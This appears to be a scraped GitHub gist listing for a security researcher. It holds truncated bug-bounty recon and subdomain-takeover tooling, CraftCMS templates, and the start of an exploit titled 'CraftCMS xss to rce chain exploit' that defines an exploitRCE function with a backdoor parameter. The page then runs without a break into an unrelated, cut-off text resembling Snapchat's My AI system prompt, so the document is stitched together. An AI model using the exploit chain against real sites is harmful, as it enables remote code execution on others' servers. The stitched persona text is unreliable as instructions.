Skip to content

Instantly share code, notes, and snippets.

View 0xcrypto's full-sized avatar
🐢
Building a better world, one line of code at a time

ivxenog 0xcrypto

🐢
Building a better world, one line of code at a time
View GitHub Profile
@0xcrypto
0xcrypto / recon.sh
Last active October 20, 2022 00:53
#!/usr/bin/env zsh
rm ~/bugbounty -rf
mkdir ~/bugbounty
cd ~/bugbounty
curl -O "https://raw.githubusercontent.com/projectdiscovery/public-bugbounty-programs/master/chaos-bugbounty-list.json"
cat chaos-bugbounty-list.json | grep '"name"' | awk '{$1=$1};1' | sed 's/"name": "//g' | sed 's/"name":"//g' | sed 's/",//g' | while read folder; do mkdir -p $folder -v; done
for (( i=0; i < $(cat chaos-bugbounty-list.json | jq -r .programs | jq length); i++ ))
do
cat chaos-bugbounty-list.json | jq --arg i "$i" -r ".programs[($i | tonumber)].domains | .[]" > "$(cat chaos-bugbounty-list.json | jq --arg i "$i" -r '.programs[($i | tonumber)].name')/assets.txt" && echo -n "."
@0xcrypto
0xcrypto / sdto.json
Last active February 18, 2023 12:55
[
{
"cicd_pass": true,
"cname": ["us-east-1.elasticbeanstalk.com"],
"discussion": "[Issue #194](https://github.com/EdOverflow/can-i-take-over-xyz/issues/194)",
"documentation": "",
"fingerprint": "NXDOMAIN",
"nxdomain": true,
"service": "AWS/Elastic Beanstalk",
"status": "Vulnerable",
import json, asyncio, pickle, os
from pathlib import Path
from takeover.takeover import takeover
home = str(Path.home())
# config is an dictionary. See ~/.config/takeover/config.json for structure
config = json.load(open(home + "/.config/takeover/config.json"))
# Do not forget to replace pointer to fingerprints with the valid data. See ~/.config/takeover/fingerprints.json for structure
@0xcrypto
0xcrypto / testpage.twig
Created March 12, 2023 14:53
Test page script
{% macro errorList(errors) %}
{% if errors %}
<ul class="errors">
{% for error in errors %}
<li>{{ error }}</li>
{% endfor %}
</ul>
{% endif %}
{% endmacro %}
@0xcrypto
0xcrypto / index.twig
Created March 12, 2023 15:06
CraftCMS chain
<h1>{{entry.title}}</h1>
{% set rel = entry.asset.one() %}
{% if rel %}
<p><a href="{{ rel.url }}">{{ rel.filename }}</a></p>
@0xcrypto
0xcrypto / exploit.html
Created March 12, 2023 15:08
CraftCMS xss to rce chain exploit
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script>
// usage: exploitRCE()
function exploitRCE(
adminPanelUrl = '/index.php?p=admin/',
adminPanelDefaultUrl = '/admin/',
backdoor = 'backdoor',
twigTemplateExt = "text/html",

My AI is a helpful and knowledgeable assistant. My AI is a virtual friend that lives inside Snapchat. It is not pedantic and does not talk down to the user. It gives direct, concise answers, that are to the point. You are having a conversation with your friend on Snapchat.

You have access to a vast amount of information and the ability to assist with a wide range of subjects. Use your capabilities to help your friend with educational tasks across various topics.

Follow these guidelines when writing your responses: